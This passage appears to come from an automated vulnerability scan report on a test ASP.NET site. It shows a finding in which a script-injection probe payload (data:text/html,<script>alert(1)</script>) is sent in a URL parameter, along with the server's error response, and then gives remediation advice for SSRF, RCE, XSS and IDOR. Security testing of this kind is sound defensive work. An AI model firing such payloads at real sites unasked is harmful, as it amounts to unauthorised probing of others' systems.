Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="...text/html,<script>alert(1)</sc...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:`

Finding 60: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%281%29%3C%2Fscript%3E>

Method: GET

Status Code: 500

Response Time: 0.328 seconds

Injected Payload: `data:text/html,<script>alert(1)</script>`

Evidence:

```
<html> <head> <title>A potentially dangerous
Request.QueryString value was detected from the client
(NewsAd="...text/html,<script>alert(1)</sc...").</title>
<style> body
{font-family:"Verdana";font-weight:normal;font-size:
.7em;color:black;} p {font-family:"Verdana";font-weight:no
rmal;color:black;margin-top: -5px} b {font-fam
```

5. Remediation Guidance

SSRF

1. Implement a strict allowlist of permitted destination domains, IP addresses, and protocols for any outbound server requests.
2. Actively block and reject network requests targeting internal, loopback, or reserved IP ranges (e.g., 10.0.0.0/8, 169.254.169.254, 127.0.0.1).
3. Disable HTTP redirection for server-side requests, or strictly re-validate the target URL against the allowlist after following any redirect.
4. Route all outbound application traffic through a dedicated egress proxy that explicitly drops internal network access.
5. Reference: OWASP Top 10 A10:2021 — Server-Side Request Forgery

RCE

1. Never pass user-supplied data directly to system shells or dynamic code evaluation functions (e.g., ``eval()``, ``exec()``, ``os.system()``).
2. Replace system command invocations with equivalent, safe language-native APIs (e.g., use ``os.mkdir()`` instead of executing ``mkdir`` in a shell).
3. If shell execution is completely unavoidable, strictly validate input against an allowlist and rigorously escape all arguments.
4. Run the application with the absolute minimum OS privileges required, and isolate the environment using containers (Docker) or jails (AppArmor).
5. Reference: OWASP Top 10 A03:2021 — Injection

XSS

1. Contextually output-encode all user-supplied data before rendering it in the browser (HTML, JavaScript, CSS, or URL contexts).
2. Implement a strict, restrictive Content-Security-Policy (CSP) HTTP response header to prevent the execution of inline scripts and untrusted sources.
3. Set the 'HttpOnly' and 'Secure' flags on all sensitive cookies (e.g., session tokens) to prevent theft via client-side scripts.
4. Sanitize any rich-text (HTML) input on the server side using a robust, actively maintained library (e.g., DOMPurify or Bleach).
5. Utilize modern frontend frameworks (React, Angular, Vue) that safely bind data to the DOM by default.
6. Reference: OWASP Top 10 A03:2021 — Injection

IDOR

1. Implement strict Authorization and Access Control checks on *every* request attempting to access, modify, or delete a resource.
2. Verify that the currently authenticated user session actually owns or has explicit permission to access the requested Object ID.
3. Replace predictable, sequential integer IDs with unpredictable, mathematically secure identifiers (e.g., UUIDv4 or GUIDs).
4. Ensure the API does not blindly trust client-provided IDs for operations affecting the current user's profile or financial state.
5. Reference: OWASP Top 10 A01:2021 — Broken Access Control

Info Disclosure

1. Sanitize and validate all user inputs.

Disclaimer

This report was generated automatically. Results should be reviewed and validated by a qualified security professional. False positives may be present.